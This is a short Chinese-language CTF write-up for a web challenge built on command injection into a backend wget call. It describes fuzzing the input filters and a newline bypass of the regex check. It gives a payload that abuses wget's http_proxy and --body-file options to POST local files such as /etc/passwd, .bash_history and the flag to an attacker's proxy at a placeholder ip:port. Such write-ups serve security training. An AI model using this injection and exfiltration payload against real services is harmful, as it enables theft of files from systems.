解题过程

题目只有三个路由,一个输入点,容易判断考点是命令注入,因此需要先不断测试传入数据并刷新观察回显,来猜测后端与wget命令拼接逻辑和过滤逻辑,下面是三个比较典型的fuzz示例:

  1. www.baidu.com

image.png

  1. teststr with space www.baidu.com
  2. 这里fuzz出空格不可用

image.png

  1. ls;\nwww.baidu.com
  2. 这里fuzz出分号不可用,同理可得反引号,|,;,&均被过滤,同时能够测试出可利用\n绕过正则检查,只需要构造出空格且领用wget命令即可

image.png
第一步测试出可利用\n绕过合法性检查,且特殊符号被替换成空格,至此已经能够构造出POC读文件了
利用http_proxy和—body-file参数读取本地文件发送到代理服务器上:

  1. -e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com
  2. 这里特殊符号被替换成空格,\n绕过了检查wgetgrep命令,并将/etc/passwd的文件内容发送到代理机上。

image.png

image.png

接下来就是找flag文件,第三个路由(点击getflag)访问后看网站源码,可知flag文件名称是 flag_is_here
image.png

建议的思路是:/etc/passwd看到有ctf_user用户,

  1. 读取ctf_user用户的.bash_history得到flask程序的根目录是/home/ctf_user/basedirforwebapp/
  2. 直接读文件/home/ctf_user/basedirforwebapp/flag_is_here即可得到flag

image.png

image.png